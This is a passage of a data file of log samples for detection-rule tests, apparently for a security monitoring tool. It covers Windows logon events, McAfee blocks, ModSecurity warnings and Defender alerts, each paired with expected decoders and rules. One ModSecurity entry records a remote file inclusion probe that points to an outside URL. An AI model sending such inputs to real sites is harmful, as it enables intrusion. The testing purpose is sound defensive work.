"{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x0\",\"targetLinkedLogonId\":\"0x0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"218.92.0.222\",\"authenticationPackageName\":\"Kerberos\",\"targetLogonId\":\"0x4cdcc9\",\"logonProcessName\":\"Kerberos\",\"logonGuid\":\"{C9208622-EB82-7047-0ED5-5FF1F674AC82}\",\"targetUserName\":\"Administrator\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1842\",\"subjectUserSid\":\"S-1-0-0\",\"processId\":\"0x0\",\"ipPort\":\"49791\",\"targetDomainName\":\"EXCHANGETEST.COM\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-500\",\"virtualAccount\":\"%%1843\",\"logonType\":\"3\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-A5BA-3E3B0328C30D}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-0-0\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t3\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tYes\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST.COM\\r\\n\\tLogon ID:\\t\\t0x4CDCC9\\r\\n\\tLinked Logon ID:\\t\\t0x0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{C9208622-EB82-7047-0ED5-5FF1F674AC82}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x0\\r\\n\\tProcess Name:\\t\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\t\\r\\n\\tSource Network Address:\\t218.92.0.222\\r\\n\\tSource Port:\\t\\t49791\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tKerberos\\r\\n\\tAuthentication Package:\\tKerberos\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-05-07T21:36:19.887424400Z\",\"eventRecordID\":\"1718492\",\"threadID\":\"1776\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"536\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Kerberos", "win.eventdata.elevatedToken": "%%1842", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "218.92.0.222", "win.eventdata.ipPort": "49791", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{C9208622-EB82-7047-0ED5-5FF1F674AC82}", "win.eventdata.logonProcessName": "Kerberos", "win.eventdata.logonType": "3", "win.eventdata.processId": "0x0", "win.eventdata.subjectLogonId": "0x0", "win.eventdata.subjectUserSid": "S-1-0-0", "win.eventdata.targetDomainName": "EXCHANGETEST.COM", "win.eventdata.targetLinkedLogonId": "0x0", "win.eventdata.targetLogonId": "0x4cdcc9", "win.eventdata.targetUserName": "Administrator", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-500", "win.eventdata.virtualAccount": "%%1843", "win.system.channel": "Security", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "1718492", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "536", "win.system.providerGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-05-07T21:36:19.887424400Z", "win.system.task": "12544", "win.system.threadID": "1776", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "99920", "rule_matches_expected": false, "ini_file": "malicious-ioc.ini", "section": "Successful Remote Logon from malicious IP"} +{"log": "2019-07-03T13:49:44.0Z RH1WVEPO1 EPOEvents - EventFwd [agentInfo@3401 tenantId=\"1\" bpsId=\"1\" tenantGUID=\"{00000000-0000-0000-0000-000000000000}\" tenantNodePath=\"1\\2\"] WAW-URSZULAL1{11f929ca-65ce-11e9-2e63-34e6d73c4809}10.150.10.237Windows 10 WorkstationSYSTEM-12034e6d73c4809ENDP_AM_1060McAfee Endpoint Security10.6.1.1128WAW-URSZULAL1Self Protection109202019-07-03T13:42:03hip.registry1092Threat Prevention - Protect McAfee core registry keys and valuesIDS_THREAT_TYPE_VALUE_SP2019-07-03T13:42:03blockedTrueVERIFONE\\UrszulaL1IEXPLORE.EXEWAW-URSZULAL1SYSTEMHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXT\\SETTINGS\\{7DB2D5A0-7241-4E79-B68D-6309F01C5231}\\6IDS_BLADE_NAME_SPB10.6.00002016-02-17T10:02:00ZIDS_SP_TP_RULE_PROTECT_MCAFEE_REG_KEY_VALc6e2e43dc922be346dbe3636d8711d5bTrueC=US, S=WASHINGTON, L=REDMOND, O=MICROSOFT CORPORATION, OU=MOPR, CN=MICROSOFT CORPORATIONTrueC:\\PROGRAM FILES\\INTERNET EXPLORER8245842018-03-30 06:50:192019-04-24 09:09:522019-04-24 09:09:52 HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXT\\SETTINGS\\{7DB2D5A0-7241-4E79-B68D-6309F01C5231}\\FalseFalse46071531IDS_NATURAL_LANG_DESC_DETECTION_APSP_1|TargetPath=HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXT\\SETTINGS\\{7DB2D5A0-7241-4E79-B68D-6309F01C5231}\\|AnalyzerRuleName=IDS_SP_TP_RULE_PROTECT_MCAFEE_REG_KEY_VAL|SourceProcessName=IEXPLORE.EXE|SourceUserName=VERIFONE\\UrszulaL1IDS_AAC_REQ_CREATE", "decoder": "mcafee-epo2", "parent": "", "fields": {"AccessRequested": "IDS_AAC_REQ_CREATE", "Analyzer": "ENDP_AM_1060", "AnalyzerContentCreationDate": "2016-02-17T10:02:00Z", "AnalyzerContentVersion": "10.6.0000", "AnalyzerDetectionMethod": "Self Protection", "AnalyzerHostName": "WAW-URSZULAL1", "AnalyzerName": "McAfee Endpoint Security", "AnalyzerRuleName": "IDS_SP_TP_RULE_PROTECT_MCAFEE_REG_KEY_VAL", "AnalyzerVersion": "10.6.1.1128", "AttackVectorType": "4", "BladeName": "IDS_BLADE_NAME_SPB", "DetectedUTC": "2019-07-03T13:42:03", "DurationBeforeDetection": "6071531", "EventID": "1092", "GMTTime": "2019-07-03T13:42:03", "NaturalLangDescription": "IDS_NATURAL_LANG_DESC_DETECTION_APSP_1|TargetPath=HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXT\\SETTINGS\\{7DB2D5A0-7241-4E79-B68D-6309F01C5231}\\|AnalyzerRuleName=IDS_SP_TP_RULE_PROTECT_MCAFEE_REG_KEY_VAL|SourceProcessName=IEXPLORE.EXE|SourceUserName=VERIFONE\\UrszulaL1", "Severity": "0", "SourceAccessTime": "2019-04-24 09:09:52", "SourceCreateTime": "2019-04-24 09:09:52", "SourceFilePath": "C:\\PROGRAM FILES\\INTERNET EXPLORER", "SourceFileSize": "824584", "SourceModifyTime": "2018-03-30 06:50:19", "SourceProcessHash": "c6e2e43dc922be346dbe3636d8711d5b", "SourceProcessName": "IEXPLORE.EXE", "SourceProcessSigned": "True", "SourceProcessSigner": "C=US, S=WASHINGTON, L=REDMOND, O=MICROSOFT CORPORATION, OU=MOPR, CN=MICROSOFT CORPORATION", "SourceProcessTrusted": "True", "SourceUserName": "VERIFONE\\UrszulaL1", "TargetFileName": "HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXT\\SETTINGS\\{7DB2D5A0-7241-4E79-B68D-6309F01C5231}\\", "TargetHostName": "WAW-URSZULAL1", "TargetName": " ", "TargetPath": "HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXT\\SETTINGS\\{7DB2D5A0-7241-4E79-B68D-6309F01C5231}\\", "TargetSigned": "False", "TargetTrusted": "False", "TargetUserName": "SYSTEM", "ThreatActionTaken": "blocked", "ThreatCategory": "hip.registry", "ThreatEventID": "1092", "ThreatHandled": "True", "ThreatName": "Threat Prevention - Protect McAfee core registry keys and values", "ThreatSeverity": "6", "ThreatType": "IDS_THREAT_TYPE_VALUE_SP", "agent_guid": "{11f929ca-65ce-11e9-2e63-34e6d73c4809}", "ip.address": "10.150.10.237", "mac_address": "34e6d73c4809", "machine_name": "WAW-URSZULAL1", "os.name": "Windows 10 Workstation", "product_family": "TVD", "product_name": "McAfee Endpoint Security", "product_version": "10.6.1.1128", "timezone_bias": "-120", "username": "SYSTEM"}, "field_names": ["AccessRequested", "Analyzer", "AnalyzerContentCreationDate", "AnalyzerContentVersion", "AnalyzerDetectionMethod", "AnalyzerHostName", "AnalyzerName", "AnalyzerRuleName", "AnalyzerVersion", "AttackVectorType", "BladeName", "DetectedUTC", "DurationBeforeDetection", "EventID", "GMTTime", "NaturalLangDescription", "Severity", "SourceAccessTime", "SourceCreateTime", "SourceFilePath", "SourceFileSize", "SourceModifyTime", "SourceProcessHash", "SourceProcessName", "SourceProcessSigned", "SourceProcessSigner", "SourceProcessTrusted", "SourceUserName", "TargetFileName", "TargetHostName", "TargetName", "TargetPath", "TargetSigned", "TargetTrusted", "TargetUserName", "ThreatActionTaken", "ThreatCategory", "ThreatEventID", "ThreatHandled", "ThreatName", "ThreatSeverity", "ThreatType", "agent_guid", "ip.address", "mac_address", "machine_name", "os.name", "product_family", "product_name", "product_version", "timezone_bias", "username"], "rule": "65501", "level": "3", "expected_decoder": "mcafee-epo2", "expected_rule": "65501", "rule_matches_expected": true, "ini_file": "mcafee_epo.ini", "section": "mcafee_epo"} +{"log": "[Mon Feb 09 16:47:55.974089 2015] [:error] [pid 17675] [client 172.16.10.87] ModSecurity: Warning. Operator GE matched 4 at TX:outbound_anomaly_score. [file \"/etc/apache2/ModSecurity/activated_rules/modsecurity_crs_60_correlation.conf\"] [line \"40\"] [id \"981205\"] [msg \"Outbound Anomaly Score Exceeded (score 4): The application is not available\"] [hostname \"172.16.10.91\"] [uri \"/wordpress/wp-includes/rss-functions.php\"] [unique_id \"VNkA238AAQEAAEULYMwAAAAA\"]", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "ModSecurity", "srcip": "172.16.10.87"}, "field_names": ["id", "srcip"], "rule": "30401", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30401", "rule_matches_expected": true, "ini_file": "modsecurity.ini", "section": "ModSecurity Warning messages grouped"} +{"log": "[Thu Jan 22 14:33:30.959520 2015] [:error] [pid 2406] [client 172.16.10.87] ModSecurity: Warning. Pattern match \"^(?i)(?:ft|htt)ps?(.*?)\\\\\\\\?+$\" at ARGS:path_prefix. [file \"/etc/apache2/ModSecurity/activated_rules/modsecurity_crs_40_generic_attacks.conf\"] [line \"160\"] [id \"950119\"] [rev \"2\"] [msg \"Remote File Inclusion Attack\"] [data \"Matched Data: http://cirt.net/rfiinc.txt? found within ARGS:path_prefix: http://cirt.net/rfiinc.txt?\"] [severity \"CRITICAL\"] [ver \"OWASP_CRS/2.2.9\"] [maturity \"9\"] [accuracy \"9\"] [tag \"OWASP_CRS/WEB_ATTACK/RFI\"] [hostname \"172.16.10.91\"] [uri \"/wordpress/web/BetaBlockModules//Module/Module.php\"] [unique_id \"VMEmWn8AAQEAAAlmdHgAAAAI\"]", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "ModSecurity", "srcip": "172.16.10.87"}, "field_names": ["id", "srcip"], "rule": "30401", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30401", "rule_matches_expected": true, "ini_file": "modsecurity.ini", "section": "ModSecurity Warning messages grouped"} +{"log": "[Mon Feb 09 21:17:06.798110 2015] [:error] [pid 8608] [client 172.16.10.57] ModSecurity: Audit log: Failed writing (requested 83 bytes, written 24): No space left on device [hostname \"172.16.10.91\"] [uri \"/403.php\"] [unique_id \"VNk-8n8AAQEAACGg7LEAAAAE\"]", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "ModSecurity", "srcip": "172.16.10.57"}, "field_names": ["id", "srcip"], "rule": "30403", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30403", "rule_matches_expected": true, "ini_file": "modsecurity.ini", "section": "ModSecurity Audit log messages grouped"} +{"log": "[Wed Feb 11 19:46:12.759594 2015] [:error] [pid 1130] [client 172.16.10.91] ModSecurity: Audit log: Failed to lock global mutex: Identifier removed [hostname \"172.16.10.91\"] [uri \"/wordpress/wp-cron.php\"] [unique_id \"VNvLw38AAQEAAARqTXsAAAAD\"]", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "ModSecurity", "srcip": "172.16.10.91"}, "field_names": ["id", "srcip"], "rule": "30403", "level": "0", "expected_decoder": "apache-errorlog", "expected_rule": "30403", "rule_matches_expected": true, "ini_file": "modsecurity.ini", "section": "ModSecurity Audit log messages grouped"} +{"log": "[Mon Feb 09 16:47:55.908176 2015] [:error] [pid 17679] [client 172.16.10.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file \"/etc/apache2/ModSecurity/activated_rules/modsecurity_crs_21_protocol_anomalies.conf\"] [line \"47\"] [id \"960015\"] [rev \"1\"] [msg \"Request Missing an Accept Header\"] [severity \"NOTICE\"] [ver \"OWASP_CRS/2.2.9\"] [maturity \"9\"] [accuracy \"9\"] [tag \"OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_ACCEPT\"] [tag \"WASCTC/WASC-21\"] [tag \"OWASP_TOP_10/A7\"] [tag \"PCI/6.5.10\"] [hostname \"172.16.10.91\"] [uri \"/wordpress/wp-cron.php\"] [unique_id \"VNkA238AAQEAAEUP9hIAAAAI\"]", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "ModSecurity", "srcip": "172.16.10.91"}, "field_names": ["id", "srcip"], "rule": "30411", "level": "7", "expected_decoder": "apache-errorlog", "expected_rule": "30411", "rule_matches_expected": true, "ini_file": "modsecurity.ini", "section": "ModSecurity rejected a query"} +{"log": "[Mon Feb 09 16:47:55.973954 2015] [:error] [pid 17675] [client 172.16.10.87] ModSecurity: Access denied with code 403 (phase 4). Pattern match \"^5\\\\\\\\d{2}$\" at RESPONSE_STATUS. [file \"/etc/apache2/ModSecurity/activated_rules/modsecurity_crs_50_outbound.conf\"] [line \"53\"] [id \"970901\"] [rev \"2\"] [msg \"The application is not available\"] [data \"Matched Data: 500 found within RESPONSE_STATUS: 500\"] [severity \"ERROR\"] [ver \"OWASP_CRS/2.2.9\"] [maturity \"9\"] [accuracy \"9\"] [tag \"WASCTC/WASC-13\"] [tag \"OWASP_TOP_10/A6\"] [tag \"PCI/6.5.6\"] [hostname \"172.16.10.91\"] [uri \"/wordpress/wp-includes/rss-functions.php\"] [unique_id \"VNkA238AAQEAAEULYMwAAAAA\"]", "decoder": "apache-errorlog", "parent": "apache-errorlog", "fields": {"id": "ModSecurity", "srcip": "172.16.10.87"}, "field_names": ["id", "srcip"], "rule": "30411", "level": "7", "expected_decoder": "apache-errorlog", "expected_rule": "30411", "rule_matches_expected": true, "ini_file": "modsecurity.ini", "section": "ModSecurity rejected a query"} +{"log": "{\"integration\":\"ms-graph\",\"ms-graph\":{\"id\":\"11111111-2222-3333-4444-555555555555_1\",\"providerAlertId\":\"11111111-2222-3333-4444-555555555555_1\",\"incidentId\":\"INC-12345\",\"status\":\"new\",\"severity\":\"informational\",\"classification\":null,\"determination\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"detectionSource\":\"antivirus\",\"productName\":\"Microsoft Defender for Endpoint\",\"detectorId\":\"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\"tenantId\":\"ffffffff-1111-2222-3333-444444444444\",\"title\":\"'Example' malware was detected\",\"description\":\"Redacted example description.\",\"recommendedActions\":\"Redacted example recommendations.\",\"category\":\"Malware\",\"assignedTo\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/11111111-2222-3333-4444-555555555555_1?tid=ffffffff-1111-2222-3333-444444444444\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/INC-12345/overview?tid=ffffffff-1111-2222-3333-444444444444\",\"actorDisplayName\":null,\"threatDisplayName\":\"Trojan:Win32/Example!pz\",\"threatFamilyName\":\"Example\",\"mitreTechniques\":[],\"createdDateTime\":\"2026-01-13T17:30:17.1666667Z\",\"lastUpdateDateTime\":\"2026-01-13T17:30:54.2633333Z\",\"resolvedDateTime\":null,\"firstActivityDateTime\":\"2026-01-13T17:18:53.041636Z\",\"lastActivityDateTime\":\"2026-01-13T17:18:53.041636Z\",\"systemTags\":[],\"alertPolicyId\":null,\"investigationState\":\"terminatedBySystem\",\"comments\":[],\"customDetails\":{},\"evidence\":[{\"@odata.type\":\"#microsoft.graph.security.deviceEvidence\",\"createdDateTime\":\"2026-01-13T17:30:17.4333333Z\",\"verdict\":\"suspicious\",\"remediationStatus\":\"active\",\"roles\":[],\"detailedRoles\":[\"PrimaryDevice\"],\"tags\":[],\"firstSeenDateTime\":\"2025-10-02T15:05:03.9592122Z\",\"mdeDeviceId\":\"mde-device-id-redacted\",\"azureAdDeviceId\":\"azuread-device-id-redacted\",\"deviceDnsName\":\"host.example.internal\",\"hostName\":\"host\",\"ntDomain\":null,\"dnsDomain\":\"example.internal\",\"osPlatform\":\"Windows\",\"osBuild\":12345,\"version\":\"24H2\",\"healthStatus\":\"active\",\"riskScore\":\"none\",\"rbacGroupId\":0,\"rbacGroupName\":null,\"onboardingStatus\":\"onboarded\",\"defenderAvStatus\":\"unknown\",\"lastIpAddress\":\"192.0.2.10\",\"lastExternalIpAddress\":\"203.0.113.10\",\"ipInterfaces\":[],\"vmMetadata\":null,\"loggedOnUsers\":[{\"accountName\":\"user-redacted\",\"domainName\":\"DOMAIN\"}],\"resourceAccessEvents\":[]},{\"@odata.type\":\"#microsoft.graph.security.fileEvidence\",\"createdDateTime\":\"2026-01-13T17:30:17.4333333Z\",\"verdict\":\"malicious\",\"remediationStatus\":\"active\",\"roles\":[],\"detailedRoles\":[],\"tags\":[],\"detectionStatus\":\"detected\",\"mdeDeviceId\":\"mde-device-id-redacted\",\"fileDetails\":{\"sha1\":\"sha1-redacted\",\"sha256\":\"sha256-redacted\",\"md5\":\"md5-redacted\",\"sha256Ac\":null,\"fileName\":\"sample.exe\",\"filePath\":\"C:\\\\Users\\\\user\\\\Desktop\\\\sample\",\"fileSize\":123456,\"filePublisher\":null,\"signer\":null,\"issuer\":null}}],\"additionalData\":{},\"resource\":\"security\",\"relationship\":\"alerts_v2\"}}", "decoder": "json-msgraph", "parent": "", "fields": {"integration": "ms-graph", "ms-graph.alertWebUrl": "https://security.microsoft.com/alerts/11111111-2222-3333-4444-555555555555_1?tid=ffffffff-1111-2222-3333-444444444444", "ms-graph.category": "Malware", "ms-graph.comments": "[]", "ms-graph.createdDateTime": "2026-01-13T17:30:17.1666667Z", "ms-graph.description": "Redacted example description.", "ms-graph.detectionSource": "antivirus", "ms-graph.detectorId": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "ms-graph.evidence": "[{'@odata.type': '#microsoft.graph.security.deviceEvidence', 'createdDateTime': '2026-01-13T17:30:17.4333333Z', 'verdict': 'suspicious', 'remediationStatus': 'active', 'roles': [], 'detailedRoles': ['PrimaryDevice'], 'tags': [], 'firstSeenDateTime': '2025-10-02T15:05:03.9592122Z', 'mdeDeviceId': 'mde-device-id-redacted', 'azureAdDeviceId': 'azuread-device-id-redacted', 'deviceDnsName': 'host.example.internal', 'hostName': 'host', 'ntDomain': None, 'dnsDomain': 'example.internal', 'osPlatform': 'Windows', 'osBuild': 12345, 'version': '24H2', 'healthStatus': 'active', 'riskScore': 'none', 'rbacGroupId': 0, 'rbacGroupName': None, 'onboardingStatus': 'onboarded', 'defenderAvStatus': 'unknown', 'lastIpAddress': '192.0.2.10', 'lastExternalIpAddress': '203.0.113.10', 'ipInterfaces': [], 'vmMetadata': None, 'loggedOnUsers': [{'accountName': 'user-redacted', 'domainName': 'DOMAIN'}], 'resourceAccessEvents': []}, {'@odata.type': '#microsoft.graph.security.fileEvidence', 'createdDateTime': '2026-01-13T17:30:17.4333333Z', 'verdict': 'malicious', 'remediationStatus': 'active', 'roles': [], 'detailedRoles': [], 'tags': [], 'detectionStatus': 'detected', 'mdeDeviceId': 'mde-device-id-redacted', 'fileDetails': {'sha1': 'sha1-redacted', 'sha256': 'sha256-redacted', 'md5': 'md5-redacted', 'sha256Ac': None, 'fileName': 'sample.exe', 'filePath': 'C:\\\\Users\\\\user\\\\Desktop\\\\sample', 'fileSize': 123456, 'filePublisher': None, 'signer': None, 'issuer': None}}]", "ms-graph.firstActivityDateTime": "2026-01-13T17:18:53.041636Z", "ms-graph.id": "11111111-2222-3333-4444-555555555555_1", "ms-graph.incidentId": "INC-12345", "ms-graph.incidentWebUrl": "https://security.microsoft.com/incidents/INC-12345/overview?tid=ffffffff-1111-2222-3333-444444444444", "ms-graph.investigationState": "terminatedBySystem", "ms-graph.lastActivityDateTime": "2026-01-13T17:18:53.041636Z", "ms-graph.lastUpdateDateTime": "2026-01-13T17:30:54.2633333Z", "ms-graph.mitreTechniques": "[]", "ms-graph.productName": "Microsoft Defender for Endpoint", "ms-graph.providerAlertId": "11111111-2222-3333-4444-555555555555_1", "ms-graph.recommendedActions": "Redacted example recommendations.", "ms-graph.relationship": "alerts_v2", "ms-graph.resource": "security", "ms-graph.serviceSource": "microsoftDefenderForEndpoint", "ms-graph.severity": "informational", "ms-graph.status": "new", "ms-graph.systemTags": "[]", "ms-graph.tenantId": "ffffffff-1111-2222-3333-444444444444", "ms-graph.threatDisplayName": "Trojan:Win32/Example!pz", "ms-graph.threatFamilyName": "Example", "ms-graph.title": "'Example' malware was detected"}, "field_names": ["integration", "ms-graph.alertWebUrl", "ms-graph.category", "ms-graph.comments", "ms-graph.createdDateTime", "ms-graph.description", "ms-graph.detectionSource", "ms-graph.detectorId", "ms-graph.evidence", "ms-graph.firstActivityDateTime", "ms-graph.id", "ms-graph.incidentId", "ms-graph.incidentWebUrl", "ms-graph.investigationState", "ms-graph.lastActivityDateTime", "ms-graph.lastUpdateDateTime", "ms-graph.mitreTechniques", "ms-graph.productName", "ms-graph.providerAlertId", "ms-graph.recommendedActions", "ms-graph.relationship", "ms-graph.resource", "ms-graph.serviceSource", "ms-graph.severity", "ms-graph.status", "ms-graph.systemTags", "ms-graph.tenantId", "ms-graph.threatDisplayName", "ms-graph.threatFamilyName", "ms-graph.title"], "rule": "99532", "level": "12", "expected_decoder": "json-msgraph", "expected_rule": "99532", "rule_matches_expected": true, "ini_file": "ms-graph.ini", "section": "msgraph null clasification"} +{"log": "{\"integration\":\"ms-graph\",\"ms-graph\":{\"id\":\"11111111-2222-3333-4444-555555555555_2\",\"providerAlertId\":\"11111111-2222-3333-4444-555555555555_2\",\"incidentId\":\"INC-12345\",\"status\":\"new\",\"severity\":\"informational\",\"classification\":\"falsePositive\",\"determination\":null,\"serviceSource\":\"microsoftDefenderForEndpoint\",\"detectionSource\":\"antivirus\",\"productName\":\"Microsoft Defender for Endpoint\",\"detectorId\":\"aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee\",\"tenantId\":\"ffffffff-1111-2222-3333-444444444444\",\"title\":\"'Example' malware was detected\",\"description\":\"Redacted example description.\",\"recommendedActions\":\"Redacted example recommendations.\",\"category\":\"Malware\",\"assignedTo\":null,\"alertWebUrl\":\"https://security.microsoft.com/alerts/11111111-2222-3333-4444-555555555555_2?tid=ffffffff-1111-2222-3333-444444444444\",\"incidentWebUrl\":\"https://security.microsoft.com/incidents/INC-12345/overview?tid=ffffffff-1111-2222-3333-444444444444\",\"actorDisplayName\":null,\"threatDisplayName\":\"Trojan:Win32/Example!pz\",\"threatFamilyName\":\"Example\",\"mitreTechniques\":[],\"createdDateTime\":\"2026-01-13T17:30:17.1666667Z\",\"lastUpdateDateTime\":\"2026-01-13T17:30:54.2633333Z\",\"resolvedDateTime\":null,\"firstActivityDateTime\":\"2026-01-13T17:18:53.041636Z\",\"lastActivityDateTime\":\"2026-01-13T17:18:53.041636Z\",\"systemTags\":[],\"alertPolicyId\":null,\"investigationState\":\"terminatedBySystem\",\"comments\":[],\"customDetails\":{},\"evidence\":[],\"additionalData\":{},\"resource\":\"security\",\"relationship\":\"alerts_v2\"}}", "decoder": "json-msgraph", "parent": "", "fields": {"integration": "ms-graph", "ms-graph.alertWebUrl": "https://security.microsoft.com/alerts/11111111-2222-3333-4444-555555555555_2?tid=ffffffff-1111-2222-3333-444444444444", "ms-graph.category": "Malware", "ms-graph.classification": "falsePositive", "ms-graph.comments": "[]", "ms-graph.createdDateTime": "2026-01-13T17:30:17.1666667Z", "ms-graph.description": "Redacted example description.", "ms-graph.detectionSource": "antivirus", "ms-graph.detectorId": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee", "ms-graph.evidence": "[]", "ms-graph.firstActivityDateTime": "2026-01-13T17:18:53.041636Z", "ms-graph.id": "11111111-2222-3333-4444-555555555555_2", "ms-graph.incidentId": "INC-12345", "ms-graph.incidentWebUrl": "https://security.microsoft.com/incidents/INC-12345/overview?tid=ffffffff-1111-2222-3333-444444444444", "ms-graph.investigationState": "terminatedBySystem", "ms-graph.lastActivityDateTime": "2026-01-13T17:18:53.041636Z", "ms-graph.lastUpdateDateTime": "2026-01-13T17:30:54.2633333Z", "ms-graph.mitreTechniques": "[]", "ms-graph.productName": "Microsoft Defender for Endpoint", "ms-graph.providerAlertId": "11111111-2222-3333-4444-555555555555_2", "ms-graph.recommendedActions": "Redacted example recommendations.", "ms-graph.relationship": "alerts_v2", "ms-graph.resource": "security", "ms-graph.serviceSource": "microsoftDefenderForEndpoint", "ms-graph.severity": "informational", "ms-graph.status": "new", "ms-graph.systemTags": "[]", "ms-graph.tenantId": "ffffffff-1111-2222-3333-444444444444", "ms-graph.threatDisplayName": "Trojan:Win32/Example!pz", "ms-graph.threatFamilyName": "Example", "ms-graph.title": "'Example' malware was detected"}, "field_names": ["integration", "ms-graph.alertWebUrl", "ms-graph.category", "ms-graph.classification", "ms-graph.comments", "ms-graph.createdDateTime", "ms-graph.description", "ms-graph.detectionSource", "ms-graph.detectorId", "ms-graph.evidence", "ms-graph.firstActivityDateTime", "ms-graph.id", "ms-graph.incidentId", "ms-graph.incidentWebUrl", "ms-graph.investigationState", "ms-graph.lastActivityDateTime", "ms-graph.lastUpdateDateTime", "ms-graph.mitreTechniques", "ms-graph.productName", "ms-graph.providerAlertId", "ms-graph.recommendedActions", "ms-graph.relationship", "ms-graph.resource", "ms-graph.serviceSource", "ms-graph.severity", "ms-graph.status", "ms-graph.systemTags", "ms-graph.tenantId", "ms-graph.threatDisplayName", "ms-graph.threatFamilyName", "ms-graph.title"], "rule": "99631", "level": "3", "expected_decoder": "json-msgraph", "expected_rule": "99631", "rule_matches_expected": true, "ini_file": "ms-graph.ini", "section": "msgraph false positive"} +{"log": 